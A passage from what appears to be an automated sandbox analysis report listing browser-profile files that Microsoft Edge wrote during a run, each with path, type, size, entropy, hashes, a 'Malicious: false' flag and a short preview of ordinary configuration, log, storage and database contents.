Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481260415575596
Encrypted:	false
SSDEEP:	384:aj9P012QkQerkjlxP/KbtLcg773pL9hCgam6ItRKToaAu:adPe2mlxP/Ng7Pv9RKcC
MD5:	8D3B8E3A72C40BAD6B53D27E09419923
SHA1:	561B9DDED7215DE5C2D7E4FDB64D5EB8A010A62C
SHA-256:	4C7F428D712485570F5840B0FA241809A64B9AF4D3BB4055663DAED3F371F09C
SHA-512:	B77E85B650C227FBAE00CBCBF0C87D6C883ABEAA0255D740CDFA2EE41E2E6E5DEB971CF51649C3399815AC058F1B175C7BBF2FC3CEC983B6ACEF67C2323EB624
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.25864335180288
Encrypted:	false
SSDEEP:	12:7WVv4Yeb8rcHEZrELFUt0c1/qu5LYeb8rcHEZrEZSJ:784Yeb8nZrExg1LYeb8nZrEZe
MD5:	987E9458FDE3128DFA0D9EFE7F638BEB
SHA1:	8290815C9856AF131F12E2778F7AFD59AD915121
SHA-256:	C197782161CE95E7CEA3A2593DE6D8CF2379B0341414B9C42934CE03F6A88926
SHA-512:	419B8ABB30AFF832EF93629BC4A842D528174BC8836DFE61E658DB48D01666EAC3E322EA2F786700CAA53DE3F549A7197C26536CEAF21B79A2D1F9C6445FF837
Malicious:	false
Preview:	2025/02/18-02:19:59.897 15e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/02/18-02:19:59.899 15e8 Recovering log #3.2025/02/18-02:19:59.899 15e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.25864335180288
Encrypted:	false
SSDEEP:	12:7WVv4Yeb8rcHEZrELFUt0c1/qu5LYeb8rcHEZrEZSJ:784Yeb8nZrExg1LYeb8nZrEZe
MD5:	987E9458FDE3128DFA0D9EFE7F638BEB
SHA1:	8290815C9856AF131F12E2778F7AFD59AD915121
SHA-256:	C197782161CE95E7CEA3A2593DE6D8CF2379B0341414B9C42934CE03F6A88926
SHA-512:	419B8ABB30AFF832EF93629BC4A842D528174BC8836DFE61E658DB48D01666EAC3E322EA2F786700CAA53DE3F549A7197C26536CEAF21B79A2D1F9C6445FF837
Malicious:	false
Preview:	2025/02/18-02:19:59.897 15e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/02/18-02:19:59.899 15e8 Recovering log #3.2025/02/18-02:19:59.899 15e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	18377
Entropy (8bit):	5.91217018140464
Encrypted:	false
SSDEEP:	384:aJ0mpixS1/nU4AksuHq9J0bp0wnTED7xwPD2eEypIE6MxiLeKj5RjECiM6MxigDX:u5p3RUJksoqvwP1Eypf6M8Leu5RjEC3F
MD5:	646A5FEADF6504D275BA6AB61BB68690
SHA1:	90072A8F8636EFB1FBD77C1887309A1615DB175F
SHA-256:	A8D3E3595EBEA5B855B103907BFF77907A8B73F65B0F238D62E1447E2C6625D2
SHA-512:	973ADA740895BF20027BE8DF5D04975A7E01C59BB23C83428676753079E6F49994AA3FDCCFEC14A4C0257EFC8A3A40244F34F3F659FC5AA99E1509B84998A3E1
Malicious:	false
Preview:	.O4..................VERSION.1..META:https://www.scribd.com..............<_https://www.scribd.com..osano_consentmanager_tattles-cookie<.["_fs_sample_user","_dd_s","cookietest","optimizelyOptOut"].<_https://www.scribd.com..osano_consentmanager_tattles-iframe..[].<_https://www.scribd.com..osano_consentmanager_tattles-script1.["https://cdn.optimizely.com/js/24721610109.js"].2_https://www.scribd.com..osano_consentmanager_uuid%.6948136e-40a5-4163-a080-5fd698a44fdf.'_https://www.scribd.com.._1739863195187.._https://www.scribd.com..test.y...................META:https://cmp.osano.com..............Q_https://cmp.osano.com..osano_consentmanager_4e10b135-d113-4574-a477-270ace40bba7...wivayjZxpYMeWzcoI2mlPRrArchZk5LLOLKtpFFqkqeMkD8yNvDaZIpAWwkaiYMFf_0Wfy_8yJJLLsQDgKmL9vtffvuM868zWQsbuhge4vSlJCOHRVx1DEj3bDYKbXYHIc86oic8a2E58F2-GyzoMxy2npDo2Z0J0H3jLHqhZCw0aV-p12HrGkx7uKYOPo9FPWnjZ3VoKFO8ea2748xG5tGotphCq1EEAqLdPMcsEhEGItDDAeraeblicz748QrL-1Li_9pOlHzx7dgZb3BHCbxwWhXkFyzL2e9JEqcwQU1Os8TuCblCnqyPdVcPXcd

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.108260362563774
Encrypted:	false
SSDEEP:	6:iOXfcftbpQ+q2P923oH+Tcwt8a2jMGIFUtFfcf26UIdWZmw7fcf27QVkwO923oHr:7Wte+v4Yeb8EFUt02/x/q20V5LYeb8bJ
MD5:	56AE87E174064914BCDF7C857FF0E07E
SHA1:	EDEE6F12C7545B75B60DA4E68E55751D622D27FD
SHA-256:	98C592562607868A1A26079EE2D8B826342D47413F60DABB462A72B01A808110
SHA-512:	96070159F0F4B9EC9B99C7A1F658F9F14D473EBA9BBA9CA78FEB452AE3FDC327615EC03F184B342403349A99847400EDFA3D17EA526CFC50149526D84998A867
Malicious:	false
Preview:	2025/02/18-02:19:51.064 1c0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/02/18-02:19:51.101 1c0c Recovering log #3.2025/02/18-02:19:51.106 1c0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.108260362563774
Encrypted:	false
SSDEEP:	6:iOXfcftbpQ+q2P923oH+Tcwt8a2jMGIFUtFfcf26UIdWZmw7fcf27QVkwO923oHr:7Wte+v4Yeb8EFUt02/x/q20V5LYeb8bJ
MD5:	56AE87E174064914BCDF7C857FF0E07E
SHA1:	EDEE6F12C7545B75B60DA4E68E55751D622D27FD
SHA-256:	98C592562607868A1A26079EE2D8B826342D47413F60DABB462A72B01A808110
SHA-512:	96070159F0F4B9EC9B99C7A1F658F9F14D473EBA9BBA9CA78FEB452AE3FDC327615EC03F184B342403349A99847400EDFA3D17EA526CFC50149526D84998A867
Malicious:	false
Preview:	2025/02/18-02:19:51.064 1c0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/02/18-02:19:51.101 1c0c Recovering log #3.2025/02/18-02:19:51.106 1c0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3b4952ba-357d-4a0d-83af-b7308ad7f785.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6882ef07-58eb-465f-9b49-883fc9879180.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1523
Entropy (8bit):	5.5460422690674385
Encrypted:	false
SSDEEP:	24:YhnEUqXYr+UeD9RAeU9d7wUe6UlPWIEteU22adiqwUTk+UtPJpRUFmK7ozUqIrQ:YCUqbUEieU9dEUHUl1EcU27Y3URUtxcE
MD5:	1820232E4BFB4AA5700D6A5D4C214C36
SHA1:	E7621F533FE286900A8CDA01689A77A01F6CF310
SHA-256:	A2ED103F65503B735B26A1D144B08574DDA3E7DE702B506C8DB8FB4D233CF703
SHA-512:	A41C9C35038FE10784B275557A1B66C4000B58F91440A10C45E04DEE37D40108AE5E1A64C4B5EF51A44590787C84827FF22B1222280D9A3301D52B9E733B0B75
Malicious:	false
Preview:	{"sts":[{"expiry":1771399202.334217,"host":"FSrCCCgbSk94tpel8F2osMYZSqD3G8LcdQYQKv7WvPI=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863202.334223},{"expiry":1771399216.230868,"host":"Hi4bEdMq563Qsqn4sVyUls/uVk7U80IxMa3wyWVUqWU=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1739863216.230871},{"expiry":1771399210.570205,"host":"M4bfUnCmQAi4PNb3B8aI/2+SVJhHKsMfMMT7fzi6ij4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863210.57021},{"expiry":1771399197.94412,"host":"R4fcRonab9q8ofkiF6a/nx3Xi2G9W1liJmg8W6yTFmo=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863197.944124},{"expiry":1771399213.63333,"host":"UEuxAiZ90EFiLMzVpyJ8AILtrMRHUGrTE/NJIU1UI/Y=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1739863213.633333},{"expiry":1771399230.044345,"host":"WY6KoNDPTe78tC/8QkuP6nj7NU/7OaY3z4ooalb+rq4=","mode":"force-https","sts_include_subdomains":false,"sts_observed":173986323

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7b4ada80-5786-47b2-9703-7d9b8517bbe1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	5.544645145280552
Encrypted:	false
SSDEEP:	24:YhnEUqXD9RAeU9d7wUe6UQ6PWIEteUtFBk+UtPJpRUFmK7ozUqIrQ:YCUqhieU9dEUHU91EcUt5UtxcEUqIk
MD5:	55EE10E3B4E8102EBE630773C1F694A3
SHA1:	11D27338FC5C98BD395E9FBDF889C7EC95440D3B
SHA-256:	E8B1AFC13CBEC085E0F751B036A3861805302E616EE6C6E3E38D2E81D31EF260
SHA-512:	DA8FEB4EE62ACB29BECC6BFF667AC9F0B794C82EB28298D03605657A3D51D5198FA5FDC902091F89FBB96A50FFDAB8D7AF28FCF382B646685BD1DB252A3DE605
Malicious:	false
Preview:	{"sts":[{"expiry":1771399202.334217,"host":"FSrCCCgbSk94tpel8F2osMYZSqD3G8LcdQYQKv7WvPI=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863202.334223},{"expiry":1771399210.570205,"host":"M4bfUnCmQAi4PNb3B8aI/2+SVJhHKsMfMMT7fzi6ij4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863210.57021},{"expiry":1771399197.94412,"host":"R4fcRonab9q8ofkiF6a/nx3Xi2G9W1liJmg8W6yTFmo=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863197.944124},{"expiry":1771399213.63333,"host":"UEuxAiZ90EFiLMzVpyJ8AILtrMRHUGrTE/NJIU1UI/Y=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1739863213.633333},{"expiry":1771399201.231163,"host":"WY6KoNDPTe78tC/8QkuP6nj7NU/7OaY3z4ooalb+rq4=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1739863201.231167},{"expiry":1771399209.07258,"host":"qFCmCMLi5emigUtHqeFuRhTwFuEuk7LXxoE5EljFWeY=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1739863209

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8d5e2ce6-6fa9-4f52-a034-f39ed9a6e2ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9569c13e-0eab-4c41-a769-85278f39f64c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 15, database pages 12, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	4.22121412548087
Encrypted:	false
SSDEEP:	384:iZ/TMqjNsqb03MIM6wqwIRNo/1eK/Vh4uA+ymKPpFP9e:Gb03vwGaeVBmK0
MD5:	80A725558128D3EA85BB1EAD0BC54DD5
SHA1:	2BD01940413F6751A0F750B784862AC6E44DCA1C
SHA-256:	209C491C60EF8B297CDC2E936F7EA73CE0B1FC8A77AE979670F2825EF17CB057
SHA-512:	E679399FE833B9F28184BC51297E8DBEDBB268CB6F83ED4485C99757E312F863308D91A5730BD12C7A74046FE081B86BFE20B0066190A0C68F5F269ABC87DA97
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF45ef5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	2.9820169713227926
Encrypted:	false
SSDEEP:	192:+IEumQv8m1ccnvS6DQVP+gp83mFBms04Wwp3r+BOst2ryLzPMC+J7FKG:3pXDQVg3CKM3q2rkv+eG
MD5:	05B1445C6D693463C07CAD23CA08A701
SHA1:	F74C97FE31558460247A652A34BE5C3DF7AC26EE
SHA-256:	7C9016B6809514D4795666732F3627CD01ED9AFCB99B2DF5C7D6163414E317FC
SHA-512:	DC14A3E7B3FAF727BE63BC644623C7081E6B7719726A2A95DDD9908A101276EFACC187F668A68B86E7F2677E0E0CAE2F1673F1B5ACC80A744E4EB2E1E2731CD8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF363fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a53a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ba0a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.426999895921584
Encrypted:	false
SSDEEP:	12:YWyR9r3N+UAnIgNmZW3OwN+UAnIoORp65RWIrfAtH+UAnIzFUQ:YhnEUqx7wUN6PWIEteUtFUQ
MD5:	B85686DC0867CCEB109F8BC58BA399E3
SHA1:	32798B3D94D9E484AB8E4061D741C14D87DF8704
SHA-256:	003CB5141E4906DF8826DFB173076CAF89BA867C50BB21847E9FD6F19306213A
SHA-512:	29A13BCB66C818B0A6597904B83156F8EFCED33A0897926DE490FEDE18F7102B69D6E703B503B603BA8EA07243DFB567D850AD6D7365CC3D0EC23BA06A2FB6F8
Malicious:	false
Preview:	{"sts":[{"expiry":1771399202.334217,"host":"FSrCCCgbSk94tpel8F2osMYZSqD3G8LcdQYQKv7WvPI=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863202.334223},{"expiry":1771399197.94412,"host":"R4fcRonab9q8ofkiF6a/nx3Xi2G9W1liJmg8W6yTFmo=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1739863197.944124},{"expiry":1771399201.231163,"host":"WY6KoNDPTe78tC/8QkuP6nj7NU/7OaY3z4ooalb+rq4=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1739863201.231167}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF3a549.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.426999895921584
Encrypted:	false
SSDEEP:	12:YWyR9r3N+UAnIgNmZW3OwN+UAnIoORp65RWIrfAtH+UAnIzFUQ:YhnEUqx7wUN6PWIEteUtFUQ
MD5:	B85686DC0867CCEB109F8BC58BA399E3
SHA1:	32798B3D94D9E484AB8E4061D741C14D87DF8704
SHA-256:	003CB5141E4906DF8826DFB173076CAF89BA867C50BB21847E9FD6F19306213A
SHA-512:	29A13BCB66C818B0A6597904B83156F8EFCED33A0897926DE490FEDE18F7102B69D6E703B503B603BA8EA07243DFB567D850AD6D7365CC3D0EC23BA06A2FB6F8
Malicious:	false
